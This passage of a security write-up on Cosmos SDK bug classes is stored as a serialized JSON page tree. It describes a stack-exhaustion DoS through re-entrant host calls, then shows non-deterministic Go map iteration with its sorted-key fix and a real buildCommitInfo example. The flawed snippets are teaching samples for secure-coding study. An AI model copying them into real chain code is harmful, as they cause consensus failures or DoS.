to_u32",{"type":23,"tag":139,"props":74847,"children":74848},{"style":259},[74849],{"type":28,"value":262},{"type":23,"tag":139,"props":74851,"children":74852},{"style":294},[74853],{"type":28,"value":6371},{"type":23,"tag":139,"props":74855,"children":74856},{"style":982},[74857],{"type":28,"value":73},{"type":23,"tag":139,"props":74859,"children":74860},{"style":245},[74861],{"type":28,"value":7146},{"type":23,"tag":139,"props":74863,"children":74864},{"style":259},[74865],{"type":28,"value":39856},{"type":23,"tag":139,"props":74867,"children":74868},{"style":982},[74869],{"type":28,"value":1132},{"type":23,"tag":139,"props":74871,"children":74872},{"style":259},[74873],{"type":28,"value":995},{"type":23,"tag":139,"props":74875,"children":74876},{"class":141,"line":187},[74877,74881,74885,74889,74893,74897,74902,74906,74910,74914,74918,74922,74927,74931,74935,74940,74944],{"type":23,"tag":139,"props":74878,"children":74879},{"style":279},[74880],{"type":28,"value":969},{"type":23,"tag":139,"props":74882,"children":74883},{"style":294},[74884],{"type":28,"value":7167},{"type":23,"tag":139,"props":74886,"children":74887},{"style":982},[74888],{"type":28,"value":985},{"type":23,"tag":139,"props":74890,"children":74891},{"style":294},[74892],{"type":28,"value":40850},{"type":23,"tag":139,"props":74894,"children":74895},{"style":982},[74896],{"type":28,"value":73},{"type":23,"tag":139,"props":74898,"children":74899},{"style":245},[74900],{"type":28,"value":74901},"call_function1",{"type":23,"tag":139,"props":74903,"children":74904},{"style":259},[74905],{"type":28,"value":262},{"type":23,"tag":139,"props":74907,"children":74908},{"style":265},[74909],{"type":28,"value":74632},{"type":23,"tag":139,"props":74911,"children":74912},{"style":259},[74913],{"type":28,"value":1052},{"type":23,"tag":139,"props":74915,"children":74916},{"style":982},[74917],{"type":28,"value":1085},{"type":23,"tag":139,"props":74919,"children":74920},{"style":259},[74921],{"type":28,"value":1723},{"type":23,"tag":139,"props":74923,"children":74924},{"style":294},[74925],{"type":28,"value":74926},"out_size",{"type":23,"tag":139,"props":74928,"children":74929},{"style":982},[74930],{"type":28,"value":73},{"type":23,"tag":139,"props":74932,"children":74933},{"style":245},[74934],{"type":28,"value":12897},{"type":23,"tag":139,"props":74936,"children":74937},{"style":259},[74938],{"type":28,"value":74939},"()])",{"type":23,"tag":139,"props":74941,"children":74942},{"style":982},[74943],{"type":28,"value":1132},{"type":23,"tag":139,"props":74945,"children":74946},{"style":259},[74947],{"type":28,"value":995},{"type":23,"tag":139,"props":74949,"children":74950},{"class":141,"line":196},[74951,74955,74960,74964,74969,74973,74977,74981,74985,74989],{"type":23,"tag":139,"props":74952,"children":74953},{"style":279},[74954],{"type":28,"value":969},{"type":23,"tag":139,"props":74956,"children":74957},{"style":294},[74958],{"type":28,"value":74959}," target_ptr",{"type":23,"tag":139,"props":74961,"children":74962},{"style":982},[74963],{"type":28,"value":985},{"type":23,"tag":139,"props":74965,"children":74966},{"style":245},[74967],{"type":28,"value":74968}," ref_to_u32",{"type":23,"tag":139,"props":74970,"children":74971},{"style":259},[74972],{"type":28,"value":262},{"type":23,"tag":139,"props":74974,"children":74975},{"style":982},[74976],{"type":28,"value":1085},{"type":23,"tag":139,"props":74978,"children":74979},{"style":294},[74980],{"type":28,"value":7089},{"type":23,"tag":139,"props":74982,"children":74983},{"style":259},[74984],{"type":28,"value":1104},{"type":23,"tag":139,"props":74986,"children":74987},{"style":982},[74988],{"type":28,"value":1132},{"type":23,"tag":139,"props":74990,"children":74991},{"style":259},[74992],{"type":28,"value":995},{"type":23,"tag":139,"props":74994,"children":74995},{"class":141,"line":205},[74996,75000,75004,75008,75012],{"type":23,"tag":139,"props":74997,"children":74998},{"style":319},[74999],{"type":28,"value":10290},{"type":23,"tag":139,"props":75001,"children":75002},{"style":294},[75003],{"type":28,"value":74959},{"type":23,"tag":139,"props":75005,"children":75006},{"style":982},[75007],{"type":28,"value":1259},{"type":23,"tag":139,"props":75009,"children":75010},{"style":1016},[75011],{"type":28,"value":1019},{"type":23,"tag":139,"props":75013,"children":75014},{"style":259},[75015],{"type":28,"value":1268},{"type":23,"tag":139,"props":75017,"children":75018},{"class":141,"line":214},[75019,75023,75027,75031,75036,75040,75045,75049,75053,75057],{"type":23,"tag":139,"props":75020,"children":75021},{"style":319},[75022],{"type":28,"value":13755},{"type":23,"tag":139,"props":75024,"children":75025},{"style":305},[75026],{"type":28,"value":13760},{"type":23,"tag":139,"props":75028,"children":75029},{"style":259},[75030],{"type":28,"value":262},{"type":23,"tag":139,"props":75032,"children":75033},{"style":305},[75034],{"type":28,"value":75035},"CommunicationError",{"type":23,"tag":139,"props":75037,"children":75038},{"style":982},[75039],{"type":28,"value":1461},{"type":23,"tag":139,"props":75041,"children":75042},{"style":245},[75043],{"type":28,"value":75044},"zero_address",{"type":23,"tag":139,"props":75046,"children":75047},{"style":259},[75048],{"type":28,"value":11890},{"type":23,"tag":139,"props":75050,"children":75051},{"style":982},[75052],{"type":28,"value":73},{"type":23,"tag":139,"props":75054,"children":75055},{"style":245},[75056],{"type":28,"value":12897},{"type":23,"tag":139,"props":75058,"children":75059},{"style":259},[75060],{"type":28,"value":13437},{"type":23,"tag":139,"props":75062,"children":75063},{"class":141,"line":1320},[75064],{"type":23,"tag":139,"props":75065,"children":75066},{"style":259},[75067],{"type":28,"value":1335},{"type":23,"tag":139,"props":75069,"children":75070},{"class":141,"line":1329},[75071,75076,75080,75084,75088,75092,75096,75100,75105,75109,75113,75117,75121],{"type":23,"tag":139,"props":75072,"children":75073},{"style":245},[75074],{"type":28,"value":75075},"    write_region",{"type":23,"tag":139,"props":75077,"children":75078},{"style":259},[75079],{"type":28,"value":262},{"type":23,"tag":139,"props":75081,"children":75082},{"style":982},[75083],{"type":28,"value":1085},{"type":23,"tag":139,"props":75085,"children":75086},{"style":294},[75087],{"type":28,"value":33580},{"type":23,"tag":139,"props":75089,"children":75090},{"style":982},[75091],{"type":28,"value":73},{"type":23,"tag":139,"props":75093,"children":75094},{"style":245},[75095],{"type":28,"value":73876},{"type":23,"tag":139,"props":75097,"children":75098},{"style":259},[75099],{"type":28,"value":16389},{"type":23,"tag":139,"props":75101,"children":75102},{"style":294},[75103],{"type":28,"value":75104},"target_ptr",{"type":23,"tag":139,"props":75106,"children":75107},{"style":259},[75108],{"type":28,"value":1052},{"type":23,"tag":139,"props":75110,"children":75111},{"style":294},[75112],{"type":28,"value":6371},{"type":23,"tag":139,"props":75114,"children":75115},{"style":259},[75116],{"type":28,"value":1104},{"type":23,"tag":139,"props":75118,"children":75119},{"style":982},[75120],{"type":28,"value":1132},{"type":23,"tag":139,"props":75122,"children":75123},{"style":259},[75124],{"type":28,"value":995},{"type":23,"tag":139,"props":75126,"children":75127},{"class":141,"line":1580},[75128,75132,75136,75140],{"type":23,"tag":139,"props":75129,"children":75130},{"style":305},[75131],{"type":28,"value":12344},{"type":23,"tag":139,"props":75133,"children":75134},{"style":259},[75135],{"type":28,"value":262},{"type":23,"tag":139,"props":75137,"children":75138},{"style":294},[75139],{"type":28,"value":75104},{"type":23,"tag":139,"props":75141,"children":75142},{"style":259},[75143],{"type":28,"value":273},{"type":23,"tag":139,"props":75145,"children":75146},{"class":141,"line":1597},[75147],{"type":23,"tag":139,"props":75148,"children":75149},{"style":259},[75150],{"type":28,"value":1897},{"type":23,"tag":24,"props":75152,"children":75153},{},[75154,75156,75162,75164,75169],{"type":28,"value":75155},"As users have complete control over ",{"type":23,"tag":135,"props":75157,"children":75159},{"className":75158},[],[75160],{"type":28,"value":75161},"allocate",{"type":28,"value":75163},", there is a possibility to call back ",{"type":23,"tag":135,"props":75165,"children":75167},{"className":75166},[],[75168],{"type":28,"value":74624},{"type":28,"value":75170}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":23,"tag":24,"props":75172,"children":75173},{},[75174,75176,75183],{"type":28,"value":75175},"Additional real-world examples include ",{"type":23,"tag":64,"props":75177,"children":75180},{"href":75178,"rel":75179},"https://github.com/cosmos/cosmos-sdk/issues/16676",[68],[75181],{"type":28,"value":75182},"not returning proper values for malformed txs",{"type":28,"value":73},{"type":23,"tag":41,"props":75185,"children":75187},{"id":75186},"order-was-the-dream-of-man",[75188],{"type":28,"value":75189},"Order Was the Dream of Man",{"type":23,"tag":24,"props":75191,"children":75192},{},[75193],{"type":28,"value":75194},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":23,"tag":24,"props":75196,"children":75197},{},[75198],{"type":28,"value":75199},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":23,"tag":128,"props":75201,"children":75203},{"code":75202,"language":74068,"meta":7,"className":74069,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    for key, value := range objectMap {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, value),\n            )\n        )\n    }\n}\n",[75204],{"type":23,"tag":135,"props":75205,"children":75206},{"__ignoreMap":7},[75207,75240,75247,75276,75313,75342,75363,75375,75412,75420,75427,75434],{"type":23,"tag":139,"props":75208,"children":75209},{"class":141,"line":142},[75210,75214,75219,75223,75227,75231,75235],{"type":23,"tag":139,"props":75211,"children":75212},{"style":279},[75213],{"type":28,"value":30644},{"type":23,"tag":139,"props":75215,"children":75216},{"style":305},[75217],{"type":28,"value":75218}," ObjectMap",{"type":23,"tag":139,"props":75220,"children":75221},{"style":279},[75222],{"type":28,"value":47566},{"type":23,"tag":139,"props":75224,"children":75225},{"style":259},[75226],{"type":28,"value":1723},{"type":23,"tag":139,"props":75228,"children":75229},{"style":305},[75230],{"type":28,"value":27687},{"type":23,"tag":139,"props":75232,"children":75233},{"style":259},[75234],{"type":28,"value":13423},{"type":23,"tag":139,"props":75236,"children":75237},{"style":305},[75238],{"type":28,"value":75239},"string\n",{"type":23,"tag":139,"props":75241,"children":75242},{"class":141,"line":151},[75243],{"type":23,"tag":139,"props":75244,"children":75245},{"emptyLinePlaceholder":15},[75246],{"type":28,"value":184},{"type":23,"tag":139,"props":75248,"children":75249},{"class":141,"line":160},[75250,75254,75259,75263,75268,75272],{"type":23,"tag":139,"props":75251,"children":75252},{"style":279},[75253],{"type":28,"value":74204},{"type":23,"tag":139,"props":75255,"children":75256},{"style":245},[75257],{"type":28,"value":75258}," EmitEntries",{"type":23,"tag":139,"props":75260,"children":75261},{"style":259},[75262],{"type":28,"value":262},{"type":23,"tag":139,"props":75264,"children":75265},{"style":294},[75266],{"type":28,"value":75267},"objectMap",{"type":23,"tag":139,"props":75269,"children":75270},{"style":305},[75271],{"type":28,"value":75218},{"type":23,"tag":139,"props":75273,"children":75274},{"style":259},[75275],{"type":28,"value":12815},{"type":23,"tag":139,"props":75277,"children":75278},{"class":141,"line":169},[75279,75283,75287,75291,75295,75299,75304,75309],{"type":23,"tag":139,"props":75280,"children":75281},{"style":319},[75282],{"type":28,"value":1003},{"type":23,"tag":139,"props":75284,"children":75285},{"style":294},[75286],{"type":28,"value":3934},{"type":23,"tag":139,"props":75288,"children":75289},{"style":259},[75290],{"type":28,"value":1052},{"type":23,"tag":139,"props":75292,"children":75293},{"style":294},[75294],{"type":28,"value":37042},{"type":23,"tag":139,"props":75296,"children":75297},{"style":982},[75298],{"type":28,"value":74320},{"type":23,"tag":139,"props":75300,"children":75301},{"style":319},[75302],{"type":28,"value":75303}," range",{"type":23,"tag":139,"props":75305,"children":75306},{"style":294},[75307],{"type":28,"value":75308}," objectMap",{"type":23,"tag":139,"props":75310,"children":75311},{"style":259},[75312],{"type":28,"value":1268},{"type":23,"tag":139,"props":75314,"children":75315},{"class":141,"line":178},[75316,75320,75324,75329,75333,75338],{"type":23,"tag":139,"props":75317,"children":75318},{"style":294},[75319],{"type":28,"value":24207},{"type":23,"tag":139,"props":75321,"children":75322},{"style":259},[75323],{"type":28,"value":73},{"type":23,"tag":139,"props":75325,"children":75326},{"style":294},[75327],{"type":28,"value":75328},"EventManager",{"type":23,"tag":139,"props":75330,"children":75331},{"style":259},[75332],{"type":28,"value":73},{"type":23,"tag":139,"props":75334,"children":75335},{"style":245},[75336],{"type":28,"value":75337},"EmitEvent",{"type":23,"tag":139,"props":75339,"children":75340},{"style":259},[75341],{"type":28,"value":1443},{"type":23,"tag":139,"props":75343,"children":75344},{"class":141,"line":187},[75345,75350,75354,75359],{"type":23,"tag":139,"props":75346,"children":75347},{"style":294},[75348],{"type":28,"value":75349},"            sdk",{"type":23,"tag":139,"props":75351,"children":75352},{"style":259},[75353],{"type":28,"value":73},{"type":23,"tag":139,"props":75355,"children":75356},{"style":245},[75357],{"type":28,"value":75358},"NewEvent",{"type":23,"tag":139,"props":75360,"children":75361},{"style":259},[75362],{"type":28,"value":1443},{"type":23,"tag":139,"props":75364,"children":75365},{"class":141,"line":196},[75366,75371],{"type":23,"tag":139,"props":75367,"children":75368},{"style":265},[75369],{"type":28,"value":75370},"                \"MapContext\"",{"type":23,"tag":139,"props":75372,"children":75373},{"style":259},[75374],{"type":28,"value":1488},{"type":23,"tag":139,"props":75376,"children":75377},{"class":141,"line":205},[75378,75383,75387,75392,75396,75400,75404,75408],{"type":23,"tag":139,"props":75379,"children":75380},{"style":294},[75381],{"type":28,"value":75382},"                sdk",{"type":23,"tag":139,"props":75384,"children":75385},{"style":259},[75386],{"type":28,"value":73},{"type":23,"tag":139,"props":75388,"children":75389},{"style":245},[75390],{"type":28,"value":75391},"NewAttribute",{"type":23,"tag":139,"props":75393,"children":75394},{"style":259},[75395],{"type":28,"value":262},{"type":23,"tag":139,"props":75397,"children":75398},{"style":294},[75399],{"type":28,"value":70058},{"type":23,"tag":139,"props":75401,"children":75402},{"style":259},[75403],{"type":28,"value":1052},{"type":23,"tag":139,"props":75405,"children":75406},{"style":294},[75407],{"type":28,"value":37042},{"type":23,"tag":139,"props":75409,"children":75410},{"style":259},[75411],{"type":28,"value":4739},{"type":23,"tag":139,"props":75413,"children":75414},{"class":141,"line":214},[75415],{"type":23,"tag":139,"props":75416,"children":75417},{"style":259},[75418],{"type":28,"value":75419},"            )\n",{"type":23,"tag":139,"props":75421,"children":75422},{"class":141,"line":1320},[75423],{"type":23,"tag":139,"props":75424,"children":75425},{"style":259},[75426],{"type":28,"value":66222},{"type":23,"tag":139,"props":75428,"children":75429},{"class":141,"line":1329},[75430],{"type":23,"tag":139,"props":75431,"children":75432},{"style":259},[75433],{"type":28,"value":1335},{"type":23,"tag":139,"props":75435,"children":75436},{"class":141,"line":1580},[75437],{"type":23,"tag":139,"props":75438,"children":75439},{"style":259},[75440],{"type":28,"value":1897},{"type":23,"tag":24,"props":75442,"children":75443},{},[75444],{"type":28,"value":75445},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":23,"tag":90,"props":75447,"children":75448},{},[75449],{"type":23,"tag":24,"props":75450,"children":75451},{},[75452],{"type":28,"value":75453},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":23,"tag":24,"props":75455,"children":75456},{},[75457,75459,75464],{"type":28,"value":75458},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":23,"tag":135,"props":75460,"children":75462},{"className":75461},[],[75463],{"type":28,"value":65003},{"type":28,"value":75465}," and then fetch the values using the sorted key array before emitting them.",{"type":23,"tag":128,"props":75467,"children":75469},{"code":75468,"language":74068,"meta":7,"className":74069,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    var keys []string\n    for key := range objectMap {\n        keys = append(keys, key)\n    }\n    sort.Strings(keys)\n\n    for _, key := range keys {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, objectMap[key]),\n            )\n        )\n    }\n}\n",[75470],{"type":23,"tag":135,"props":75471,"children":75472},{"__ignoreMap":7},[75473,75504,75511,75538,75558,75585,75621,75628,75657,75664,75699,75726,75745,75756,75800,75807,75814,75821],{"type":23,"tag":139,"props":75474,"children":75475},{"class":141,"line":142},[75476,75480,75484,75488,75492,75496,75500],{"type":23,"tag":139,"props":75477,"children":75478},{"style":279},[75479],{"type":28,"value":30644},{"type":23,"tag":139,"props":75481,"children":75482},{"style":305},[75483],{"type":28,"value":75218},{"type":23,"tag":139,"props":75485,"children":75486},{"style":279},[75487],{"type":28,"value":47566},{"type":23,"tag":139,"props":75489,"children":75490},{"style":259},[75491],{"type":28,"value":1723},{"type":23,"tag":139,"props":75493,"children":75494},{"style":305},[75495],{"type":28,"value":27687},{"type":23,"tag":139,"props":75497,"children":75498},{"style":259},[75499],{"type":28,"value":13423},{"type":23,"tag":139,"props":75501,"children":75502},{"style":305},[75503],{"type":28,"value":75239},{"type":23,"tag":139,"props":75505,"children":75506},{"class":141,"line":151},[75507],{"type":23,"tag":139,"props":75508,"children":75509},{"emptyLinePlaceholder":15},[75510],{"type":28,"value":184},{"type":23,"tag":139,"props":75512,"children":75513},{"class":141,"line":160},[75514,75518,75522,75526,75530,75534],{"type":23,"tag":139,"props":75515,"children":75516},{"style":279},[75517],{"type":28,"value":74204},{"type":23,"tag":139,"props":75519,"children":75520},{"style":245},[75521],{"type":28,"value":75258},{"type":23,"tag":139,"props":75523,"children":75524},{"style":259},[75525],{"type":28,"value":262},{"type":23,"tag":139,"props":75527,"children":75528},{"style":294},[75529],{"type":28,"value":75267},{"type":23,"tag":139,"props":75531,"children":75532},{"style":305},[75533],{"type":28,"value":75218},{"type":23,"tag":139,"props":75535,"children":75536},{"style":259},[75537],{"type":28,"value":12815},{"type":23,"tag":139,"props":75539,"children":75540},{"class":141,"line":169},[75541,75546,75550,75554],{"type":23,"tag":139,"props":75542,"children":75543},{"style":279},[75544],{"type":28,"value":75545},"    var",{"type":23,"tag":139,"props":75547,"children":75548},{"style":294},[75549],{"type":28,"value":19388},{"type":23,"tag":139,"props":75551,"children":75552},{"style":259},[75553],{"type":28,"value":74131},{"type":23,"tag":139,"props":75555,"children":75556},{"style":305},[75557],{"type":28,"value":75239},{"type":23,"tag":139,"props":75559,"children":75560},{"class":141,"line":178},[75561,75565,75569,75573,75577,75581],{"type":23,"tag":139,"props":75562,"children":75563},{"style":319},[75564],{"type":28,"value":1003},{"type":23,"tag":139,"props":75566,"children":75567},{"style":294},[75568],{"type":28,"value":3934},{"type":23,"tag":139,"props":75570,"children":75571},{"style":982},[75572],{"type":28,"value":74320},{"type":23,"tag":139,"props":75574,"children":75575},{"style":319},[75576],{"type":28,"value":75303},{"type":23,"tag":139,"props":75578,"children":75579},{"style":294},[75580],{"type":28,"value":75308},{"type":23,"tag":139,"props":75582,"children":75583},{"style":259},[75584],{"type":28,"value":1268},{"type":23,"tag":139,"props":75586,"children":75587},{"class":141,"line":187},[75588,75592,75596,75601,75605,75609,75613,75617],{"type":23,"tag":139,"props":75589,"children":75590},{"style":294},[75591],{"type":28,"value":23352},{"type":23,"tag":139,"props":75593,"children":75594},{"style":982},[75595],{"type":28,"value":985},{"type":23,"tag":139,"props":75597,"children":75598},{"style":245},[75599],{"type":28,"value":75600}," append",{"type":23,"tag":139,"props":75602,"children":75603},{"style":259},[75604],{"type":28,"value":262},{"type":23,"tag":139,"props":75606,"children":75607},{"style":294},[75608],{"type":28,"value":18991},{"type":23,"tag":139,"props":75610,"children":75611},{"style":259},[75612],{"type":28,"value":1052},{"type":23,"tag":139,"props":75614,"children":75615},{"style":294},[75616],{"type":28,"value":70058},{"type":23,"tag":139,"props":75618,"children":75619},{"style":259},[75620],{"type":28,"value":273},{"type":23,"tag":139,"props":75622,"children":75623},{"class":141,"line":196},[75624],{"type":23,"tag":139,"props":75625,"children":75626},{"style":259},[75627],{"type":28,"value":1335},{"type":23,"tag":139,"props":75629,"children":75630},{"class":141,"line":205},[75631,75636,75640,75645,75649,75653],{"type":23,"tag":139,"props":75632,"children":75633},{"style":294},[75634],{"type":28,"value":75635},"    sort",{"type":23,"tag":139,"props":75637,"children":75638},{"style":259},[75639],{"type":28,"value":73},{"type":23,"tag":139,"props":75641,"children":75642},{"style":245},[75643],{"type":28,"value":75644},"Strings",{"type":23,"tag":139,"props":75646,"children":75647},{"style":259},[75648],{"type":28,"value":262},{"type":23,"tag":139,"props":75650,"children":75651},{"style":294},[75652],{"type":28,"value":18991},{"type":23,"tag":139,"props":75654,"children":75655},{"style":259},[75656],{"type":28,"value":273},{"type":23,"tag":139,"props":75658,"children":75659},{"class":141,"line":214},[75660],{"type":23,"tag":139,"props":75661,"children":75662},{"emptyLinePlaceholder":15},[75663],{"type":28,"value":184},{"type":23,"tag":139,"props":75665,"children":75666},{"class":141,"line":1320},[75667,75671,75675,75679,75683,75687,75691,75695],{"type":23,"tag":139,"props":75668,"children":75669},{"style":319},[75670],{"type":28,"value":1003},{"type":23,"tag":139,"props":75672,"children":75673},{"style":294},[75674],{"type":28,"value":1008},{"type":23,"tag":139,"props":75676,"children":75677},{"style":259},[75678],{"type":28,"value":1052},{"type":23,"tag":139,"props":75680,"children":75681},{"style":294},[75682],{"type":28,"value":70058},{"type":23,"tag":139,"props":75684,"children":75685},{"style":982},[75686],{"type":28,"value":74320},{"type":23,"tag":139,"props":75688,"children":75689},{"style":319},[75690],{"type":28,"value":75303},{"type":23,"tag":139,"props":75692,"children":75693},{"style":294},[75694],{"type":28,"value":19388},{"type":23,"tag":139,"props":75696,"children":75697},{"style":259},[75698],{"type":28,"value":1268},{"type":23,"tag":139,"props":75700,"children":75701},{"class":141,"line":1329},[75702,75706,75710,75714,75718,75722],{"type":23,"tag":139,"props":75703,"children":75704},{"style":294},[75705],{"type":28,"value":24207},{"type":23,"tag":139,"props":75707,"children":75708},{"style":259},[75709],{"type":28,"value":73},{"type":23,"tag":139,"props":75711,"children":75712},{"style":294},[75713],{"type":28,"value":75328},{"type":23,"tag":139,"props":75715,"children":75716},{"style":259},[75717],{"type":28,"value":73},{"type":23,"tag":139,"props":75719,"children":75720},{"style":245},[75721],{"type":28,"value":75337},{"type":23,"tag":139,"props":75723,"children":75724},{"style":259},[75725],{"type":28,"value":1443},{"type":23,"tag":139,"props":75727,"children":75728},{"class":141,"line":1580},[75729,75733,75737,75741],{"type":23,"tag":139,"props":75730,"children":75731},{"style":294},[75732],{"type":28,"value":75349},{"type":23,"tag":139,"props":75734,"children":75735},{"style":259},[75736],{"type":28,"value":73},{"type":23,"tag":139,"props":75738,"children":75739},{"style":245},[75740],{"type":28,"value":75358},{"type":23,"tag":139,"props":75742,"children":75743},{"style":259},[75744],{"type":28,"value":1443},{"type":23,"tag":139,"props":75746,"children":75747},{"class":141,"line":1597},[75748,75752],{"type":23,"tag":139,"props":75749,"children":75750},{"style":265},[75751],{"type":28,"value":75370},{"type":23,"tag":139,"props":75753,"children":75754},{"style":259},[75755],{"type":28,"value":1488},{"type":23,"tag":139,"props":75757,"children":75758},{"class":141,"line":1614},[75759,75763,75767,75771,75775,75779,75783,75787,75791,75795],{"type":23,"tag":139,"props":75760,"children":75761},{"style":294},[75762],{"type":28,"value":75382},{"type":23,"tag":139,"props":75764,"children":75765},{"style":259},[75766],{"type":28,"value":73},{"type":23,"tag":139,"props":75768,"children":75769},{"style":245},[75770],{"type":28,"value":75391},{"type":23,"tag":139,"props":75772,"children":75773},{"style":259},[75774],{"type":28,"value":262},{"type":23,"tag":139,"props":75776,"children":75777},{"style":294},[75778],{"type":28,"value":70058},{"type":23,"tag":139,"props":75780,"children":75781},{"style":259},[75782],{"type":28,"value":1052},{"type":23,"tag":139,"props":75784,"children":75785},{"style":294},[75786],{"type":28,"value":75267},{"type":23,"tag":139,"props":75788,"children":75789},{"style":259},[75790],{"type":28,"value":1723},{"type":23,"tag":139,"props":75792,"children":75793},{"style":294},[75794],{"type":28,"value":70058},{"type":23,"tag":139,"props":75796,"children":75797},{"style":259},[75798],{"type":28,"value":75799},"]),\n",{"type":23,"tag":139,"props":75801,"children":75802},{"class":141,"line":1627},[75803],{"type":23,"tag":139,"props":75804,"children":75805},{"style":259},[75806],{"type":28,"value":75419},{"type":23,"tag":139,"props":75808,"children":75809},{"class":141,"line":1636},[75810],{"type":23,"tag":139,"props":75811,"children":75812},{"style":259},[75813],{"type":28,"value":66222},{"type":23,"tag":139,"props":75815,"children":75816},{"class":141,"line":1659},[75817],{"type":23,"tag":139,"props":75818,"children":75819},{"style":259},[75820],{"type":28,"value":1335},{"type":23,"tag":139,"props":75822,"children":75823},{"class":141,"line":1667},[75824],{"type":23,"tag":139,"props":75825,"children":75826},{"style":259},[75827],{"type":28,"value":1897},{"type":23,"tag":24,"props":75829,"children":75830},{},[75831],{"type":28,"value":75832},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":23,"tag":666,"props":75834,"children":75836},{"id":75835},"real-world-examples-1",[75837],{"type":28,"value":74593},{"type":23,"tag":24,"props":75839,"children":75840},{},[75841,75843,75848,75850,75856,75858,75864,75866,75872],{"type":28,"value":75842},"Real-world examples of ",{"type":23,"tag":135,"props":75844,"children":75846},{"className":75845},[],[75847],{"type":28,"value":65003},{"type":28,"value":75849}," causing determinism problems can be found ",{"type":23,"tag":64,"props":75851,"children":75854},{"href":75852,"rel":75853},"https://github.com/cosmos/cosmos-sdk/pull/12487",[68],[75855],{"type":28,"value":45481},{"type":28,"value":75857},", specifically, where the result of ",{"type":23,"tag":135,"props":75859,"children":75861},{"className":75860},[],[75862],{"type":28,"value":75863},"buildCommitInfo",{"type":28,"value":75865}," is inconsistent due to iteration over the ",{"type":23,"tag":135,"props":75867,"children":75869},{"className":75868},[],[75870],{"type":28,"value":75871},"rs.stores",{"type":28,"value":75873}," map.",{"type":23,"tag":24,"props":75875,"children":75876},{},[75877],{"type":23,"tag":64,"props":75878,"children":75881},{"href":75879,"rel":75880},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[68],[75882],{"type":28,"value":74643},{"type":23,"tag":128,"props":75884,"children":75886},{"code":75885,"language":74068,"meta":7,"className":74069,"style":7},"func (rs *Store) buildCommitInfo(\n    version int64\n) *types.CommitInfo {\n    storeInfos := []types.StoreInfo{}\n    for key, store := range rs.stores {\n        if store.GetStoreType() == types.StoreTypeTransient {\n            continue\n        }\n        storeInfos = append(storeInfos, types.StoreInfo{\n            Name:     key.Name(),\n            CommitId: store.LastCommitID(),\n        })\n    }\n    return &types.CommitInfo{\n        Version:    version,\n        StoreInfos: storeInfos,\n    }\n}\n",[75887],{"type":23,"tag":135,"props":75888,"children":75889},{"__ignoreMap":7},[75890,75927,75940,75968,76002,76047,76093,76101,76108,76153,76183,76212,76219,76226,76253,76275,76295,76302],{"type":23,"tag":139,"props":75891,"children":75892},{"class":141,"line":142},[75893,75897,75901,75906,75910,75915,75919,75923],{"type":23,"tag":139,"props":75894,"children":75895},{"style":279},[75896],{"type":28,"value":74204},{"type":23,"tag":139,"props":75898,"children":75899},{"style":259},[75900],{"type":28,"value":1042},{"type":23,"tag":139,"props":75902,"children":75903},{"style":294},[75904],{"type":28,"value":75905},"rs ",{"type":23,"tag":139,"props":75907,"children":75908},{"style":982},[75909],{"type":28,"value":2573},{"type":23,"tag":139,"props":75911,"children":75912},{"style":305},[75913],{"type":28,"value":75914},"Store",{"type":23,"tag":139,"props":75916,"children":75917},{"style":259},[75918],{"type":28,"value":1062},{"type":23,"tag":139,"props":75920,"children":75921},{"style":245},[75922],{"type":28,"value":75863},{"type":23,"tag":139,"props":75924,"children":75925},{"style":259},[75926],{"type":28,"value":1443},{"type":23,"tag":139,"props":75928,"children":75929},{"class":141,"line":151},[75930,75935],{"type":23,"tag":139,"props":75931,"children":75932},{"style":294},[75933],{"type":28,"value":75934},"    version",{"type":23,"tag":139,"props":75936,"children":75937},{"style":305},[75938],{"type":28,"value":75939}," int64\n",{"type":23,"tag":139,"props":75941,"children":75942},{"class":141,"line":160},[75943,75947,75951,75955,75959,75964],{"type":23,"tag":139,"props":75944,"children":75945},{"style":259},[75946],{"type":28,"value":1062},{"type":23,"tag":139,"props":75948,"children":75949},{"style":982},[75950],{"type":28,"value":2573},{"type":23,"tag":139,"props":75952,"children":75953},{"style":305},[75954],{"type":28,"value":3760},{"type":23,"tag":139,"props":75956,"children":75957},{"style":259},[75958],{"type":28,"value":73},{"type":23,"tag":139,"props":75960,"children":75961},{"style":305},[75962],{"type":28,"value":75963},"CommitInfo",{"type":23,"tag":139,"props":75965,"children":75966},{"style":259},[75967],{"type":28,"value":1268},{"type":23,"tag":139,"props":75969,"children":75970},{"class":141,"line":169},[75971,75976,75980,75984,75988,75992,75997],{"type":23,"tag":139,"props":75972,"children":75973},{"style":294},[75974],{"type":28,"value":75975},"    